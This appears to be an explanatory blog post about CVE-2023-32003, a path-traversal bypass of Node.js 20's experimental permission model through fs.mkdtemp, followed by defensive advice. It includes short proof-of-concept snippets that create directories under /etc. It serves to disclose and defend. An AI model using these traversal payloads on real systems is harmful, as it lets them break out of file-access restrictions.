Node.js is a super popular JavaScript runtime used for building servers and apps. Recently, a vulnerability was found and assigned the identifier CVE-2023-32003. If you use Node.js version 20 with the experimental permission model, this vulnerability can let attackers create directories anywhere on your file system—even if your app shouldn’t have that kind of access.
Let’s break down why this happens, how it works, see some code, and what you should do about it. This post explains everything in simple language.
What’s the Problem?
In Node.js 20, the makers introduced an experimental permission model to improve security. It lets you specify what files or folders Node.js code can access, to stop sneaky code from messing with your files.
They forgot to add a permission check to two functions: fs.mkdtemp() (async) and fs.mkdtempSync() (sync). These functions are supposed to create a temporary directory under a specific path, but because of this bug, if an attacker supplies a path containing ../ (a classic path traversal technique), Node.js will create a directory outside the allowed folder! This bypasses the permission model check.
Suppose you allow access only to /tmp/safe/ in your permission model
node --experimental-permission --allow-fs-read=/tmp/safe --allow-fs-write=/tmp/safe app.js
But your code has something like
const fs = require('fs');
fs.mkdtemp('/tmp/safe/tmp-', (err, folder) => {
if (err) throw err;
// do stuff with folder
});
If an attacker controls the prefix, they might send something like '/tmp/safe/../../etc/hack-'. This results in a new directory under /etc/! This happens because fs.mkdtemp() doesn't check if it's allowed to write outside /tmp/safe/.
Here's proof of concept code to show how the bug can be exploited
const fs = require('fs');
// Assume '/tmp/safe' is the only allowed write directory
// But mkdtemp is given user-controlled input
let userInput = '../../etc/hacked-'; // attacker value
let prefix = '/tmp/safe/' + userInput;
fs.mkdtemp(prefix, (err, folder) => {
if (err) {
console.error('Could not create temp dir:', err);
} else {
console.log('Made folder at:', folder);
}
});
When you run this code, a directory is created like /etc/hacked-XXXXX, which is definitely outside/tmp/safe. The permission model should block this, but doesn’t.
You can also do the same thing synchronously
const folder = fs.mkdtempSync('/tmp/safe/../../etc/hacked-');
console.log('Folder:', folder);
Why Is This Dangerous?
- Privilege Escalation: Attackers could write folders (and maybe files) to restricted parts of your system.
- Bypass Security Controls: The whole point of the permission model is to limit file access, but this bug breaks those barriers.
Original References
- Node.js Security Release Summary (June 2023)
- CVE-2023-32003 at CVE.org
- Node.js API Docs: fs.mkdtemp()
How to Defend Against CVE-2023-32003
1. Update Node.js! The Node.js team has fixed this in later versions of Node.js 20.x. Always use the latest LTS.
NEVER Trust User Input as Paths! Sanitize and validate any path the user sends.
3. Check for Path Traversal: Use built-in Node.js modules like path.normalize() and confirm resolved paths are within the allowed directory.
4. Monitor File System Changes: Use tools (like inotify, auditd, or external services) to watch for suspicious new folders in system directories.
5. Limit Use of Experimental Features: Be cautious deploying production apps with features marked “experimental.”
Conclusion
CVE-2023-32003 is a great lesson in why experimental security features need deep testing! Because a hard-to-spot check was missing in some rarely-used functions, attackers could bust through permission barriers.
If you use Node.js 20’s permission model and allow any user input for folder creation, you must upgrade now.
Stay Secure!
If you found this write-up helpful, share it with your team and keep an eye on experimental settings.
*Exclusive content researched and written for you by ChatGPT. Please always follow official security advisories!*
Timeline
Published on: 08/15/2023 16:15:00 UTC
Last modified on: 08/22/2023 01:55:00 UTC